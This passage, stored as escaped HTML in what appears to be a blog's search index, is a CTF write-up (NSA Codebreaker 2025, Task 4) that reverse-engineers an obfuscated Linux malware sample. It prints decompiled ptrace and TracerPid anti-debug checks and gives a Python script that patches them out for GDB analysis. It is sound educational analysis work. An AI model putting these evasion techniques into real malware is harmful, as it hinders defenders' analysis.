(Cryptanalysis)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNSA analysts confirm that there is solid evidence that this binary was at least part of what had been installed on the military development network. Unfortunately, we do not yet have enough information to update NSA senior leadership on this threat. We need to move forward with this investigation!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe team is stumped - they need to identify something about who was controlling this malware. They look to you. \u0026ldquo;Do you have any ideas?\u0026rdquo;\u003c/p\u003e","tags":["NSA Codebreaker 2025","ctf","cryptanalysis"],"title":"NSA Codebreaker 2025 - Task 5: Putting It All Together","url":"/posts/nsa-codebreaker-2025-task-5/","wordCount":1942},{"content":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"task-4---unpacking-insight---malware-analysis\"\u003eTask 4 - Unpacking Insight - (Malware Analysis)\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eOnce back at NSA the team contacts the NSA liaison at FBI to see if they have any information about what was discovered in the configuration data. FBI informs us that the facility registered to host that domain is on a watchlist for suspected criminal activity. With this tip, the FBI acquires a warrant and raids the location. Inside the facility, the server is discovered along with a suspect. The suspect is known to the FBI as a low-level malware actor. During questioning, they disclose that they are providing a service to host malware for various cybercrime groups, but recently they were contacted by a much more secretive and sophisticated customer. While they don\u0026rsquo;t appear to know anything about who is paying for the service, they provide the FBI with the malware that was hosted.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eBack at NSA, you are provided with a copy of the file. There is a lot of high level interest in uncovering who facilitated this attack. The file appears to be obfuscated.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eYou are tasked to work on de-obfuscating the file and report back to the team.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"downloads\"\u003eDownloads\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eobfuscated file\u003c/strong\u003e (\u003ccode\u003esuspicious\u003c/code\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"task\"\u003eTask\u003c/h2\u003e\n\u003cp\u003eSubmit the file path the malware uses to write a file.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"writeup\"\u003eWriteup\u003c/h2\u003e\n\u003cp\u003eInitial file identification revealed the given sample to be a 64-bit Linux executable:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ file suspicious\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esuspicious: ELF 64-bit LSB pie executable, x86-64, version \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSYSV\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eBuildID\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003esha1\u003cspan style=\"color:#f92672\"\u003e]=\u003c/span\u003e3fc9729b05add2cba0bddd498f66c8b497060343,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e GNU/Linux 3.2.0, stripped\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe binary was stripped, removing symbol information and making our static analysis a bit more challenging.\u003c/p\u003e\n\u003ch3 id=\"entropy-analysis\"\u003eEntropy Analysis\u003c/h3\u003e\n\u003cp\u003eTo identify potential obfuscation or packing, I performed entropy analysis on the binary using ImHex. The entropy graph revealed several sections with notably high entropy (approaching 1.0), indicating the presence of encrypted or compressed data:\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/entropy.png\" alt=\"Entropy\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThe high entropy sections at addresses 0x186A0, 0x1D4C0, and 0x222E0 suggested the malware contained encrypted payloads that would be unpacked during runtime.\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"discovering-anti-debug-mechanisms\"\u003eDiscovering Anti-Debug Mechanisms\u003c/h3\u003e\n\u003cp\u003eInitial attempts to run the binary under GDB revealed an anti-debugging trap:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ gdb ./suspicious\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003egdb\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e run\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/firstrun.png\" alt=\"First Run\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eThe program immediately crashed with a SIGSEGV (segmentation fault) at address \u003ccode\u003e0x55555555765a\u003c/code\u003e. Examining the instruction at this location revealed:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-assembly\" data-lang=\"assembly\"\u003e0x55555555765a    mov    DWORD PTR ds:0x0, 0x0\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis instruction attempts to write to NULL (address 0x0), an intentional crash mechanism.\u003c/p\u003e\n\u003ch3 id=\"identifying-additional-anti-debug-functions\"\u003eIdentifying Additional Anti-Debug Functions\u003c/h3\u003e\n\u003cp\u003eHowever, simply NOPing out the crash instruction proved insufficient. Through static analysis in IDA, I examined the binary to understand the full anti-debug chain and discovered two additional protection mechanisms that needed to be bypassed.\u003c/p\u003e\n\u003ch4 id=\"mechanism-1-ptrace-detection-sub_3590\"\u003eMechanism 1: ptrace Detection (sub_3590)\u003c/h4\u003e\n\u003cp\u003eLocated at address \u003ccode\u003e0x3590\u003c/code\u003e, this function uses \u003ccode\u003eptrace(PTRACE_TRACEME)\u003c/code\u003e to detect debugger presence:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003e__int64\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esub_3590\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003e__int64\u003c/span\u003e result;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ( \u003cspan style=\"color:#a6e22e\"\u003eptrace\u003c/span\u003e(PTRACE_TRACEME, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       (result \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003e__errno_location\u003c/span\u003e(), (_DWORD)result \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eptrace\u003c/span\u003e(PTRACE_DETACH, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;  \u003cspan style=\"color:#75715e\"\u003e// No debugger\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e result;  \u003cspan style=\"color:#75715e\"\u003e// Debugger detected (returns non-zero)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhen a process is already being traced by a debugger, \u003ccode\u003ePTRACE_TRACEME\u003c/code\u003e fails with \u003ccode\u003eerrno = EPERM (1)\u003c/code\u003e. The function returns a non-zero value if a debugger is detected, which triggers the anti-debug chain.\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/sub_3590.png\" alt=\"sub_3590 in IDA\"/\u003e\n\u003c/p\u003e\n\u003ch4 id=\"mechanism-2-tracerpid-check-sub_3470\"\u003eMechanism 2: TracerPid Check (sub_3470)\u003c/h4\u003e\n\u003cp\u003eLocated at address \u003ccode\u003e0x3470\u003c/code\u003e, this function reads \u003ccode\u003e/proc/self/status\u003c/code\u003e to check the \u003ccode\u003eTracerPid\u003c/code\u003e field:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e_BOOL8 \u003cspan style=\"color:#a6e22e\"\u003esub_3470\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e// Opens /proc/self/status\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ( \u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e)\u003cspan style=\"color:#a6e22e\"\u003esub_56A0\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003estream, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/proc/self/status\u0026#34;\u003c/span\u003e) )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e ( \u003cspan style=\"color:#a6e22e\"\u003egetline\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003ehaystack, \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003en, stream) \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ( \u003cspan style=\"color:#a6e22e\"\u003estrstr\u003c/span\u003e(haystack, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;TracerPid\u0026#34;\u003c/span\u003e) )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ( \u003cspan style=\"color:#a6e22e\"\u003estrtok\u003c/span\u003e(v0, delim) )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          v4 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estrtok\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, delim);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ( v4 )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            v2 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ev4 \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e48\u003c/span\u003e;  \u003cspan style=\"color:#75715e\"\u003e// Returns true if TracerPid != \u0026#39;0\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e// ...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e v2;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhen a debugger is attached, the \u003ccode\u003eTracerPid\u003c/code\u003e value in \u003ccode\u003e/proc/self/status\u003c/code\u003e is non-zero (the PID of the debugging process). This function returns true when debugging is detected.\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/sub_3470.png\" alt=\"sub_3470 in IDA\"/\u003e\n\u003c/p\u003e\n\u003chr\u003e\n\u003ch3 id=\"anti-debug-bypass\"\u003eAnti-Debug Bypass\u003c/h3\u003e\n\u003cp\u003eTo enable full dynamic analysis, I created a simple Python script to patch all three anti-debug mechanisms:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;suspicious\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e f:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    data \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e bytearray(f\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread())\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Patch sub_3590 (ptrace check) to immediately return 0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eoffset \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x3590\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# Skip endbr64 instruction\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edata[offset:offset\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x31\\xc0\\xc3\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# xor eax, eax; ret\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Patch sub_3470 (TracerPid check) to immediately return 0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eoffset2 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x3474\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edata[offset2:offset2\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x31\\xc0\\xc3\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# xor eax, eax; ret\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Patch NULL pointer trap at 0x765a\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eoffset3 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x765a\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edata[offset3:offset3\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x90\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# NOP sled\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ewith\u003c/span\u003e open(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;suspicious_patched3\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;wb\u0026#39;\u003c/span\u003e) \u003cspan style=\"color:#66d9ef\"\u003eas\u003c/span\u003e f:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    f\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ewrite(data)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Patched all anti-debug checks\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe patches work by:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eReplacing both detection functions with \u003ccode\u003exor eax, eax; ret\u003c/code\u003e to force them to always return 0 (no debugger detected)\u003c/li\u003e\n\u003cli\u003eNOPing out the NULL pointer trap to prevent the crash\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"dynamic-analysis-and-payload-extraction\"\u003eDynamic Analysis and Payload Extraction\u003c/h2\u003e\n\u003cp\u003eWith the anti-debug protections bypassed, I proceeded with dynamic analysis using GDB. Since the challenge specifically asks for \u0026ldquo;the file path the malware uses to write a file,\u0026rdquo; I set a catchpoint on the \u003ccode\u003ewrite\u003c/code\u003e system call to monitor all write operations:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ gdb ./suspicious_patched3\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003egdb\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e catch syscall write\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCatchpoint \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003esyscall \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;write\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e1\u003cspan style=\"color:#f92672\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003egdb\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e run\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003egdb\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003econtinue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eUpon the first continue, I hit a write operation. To understand what was being written, I needed to examine the system call arguments. On x86-64 Linux, system calls pass arguments through registers according to the following convention:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003erdi\u003c/code\u003e = first argument\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ersi\u003c/code\u003e = second argument\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003erdx\u003c/code\u003e = third argument\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFor the \u003ccode\u003ewrite\u003c/code\u003e system call specifically, the signature is \u003ccode\u003ewrite(int fd, const void *buf, size_t count)\u003c/code\u003e, which maps to:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003erdi\u003c/code\u003e = file descriptor (where to write)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ersi\u003c/code\u003e = buffer pointer (what to write)\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003erdx\u003c/code\u003e = byte count (how much to write)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eExamining these registers:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-gdb\" data-lang=\"gdb\"\u003e(gdb) info registers rdi rsi rdx\nrdi            0x3                 0x3\nrsi            0x555555590390      0x555555590390\nrdx            0xcee8              0xcee8\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis revealed the malware was writing to file descriptor 3, with 0xcee8 (52,968) bytes of data from memory address 0x555555590390. The large size suggested this was payload data rather than typical logging output.\u003c/p\u003e\n\u003cp\u003eTo identify what file descriptor 3 represented, I checked the process\u0026rsquo;s file descriptors while it was paused in the debugger:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003egdb\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e shell ls -la /proc/\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003epgrep suspicious\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e/fd/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etotal \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edr-x------ \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e kali kali  \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e Nov \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e 21:01 .\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edr-xr-xr-x \u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e kali kali  \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e Nov \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e 21:01 ..\n\u003c/span\u003e\u003c/span\u003e\u003cspan 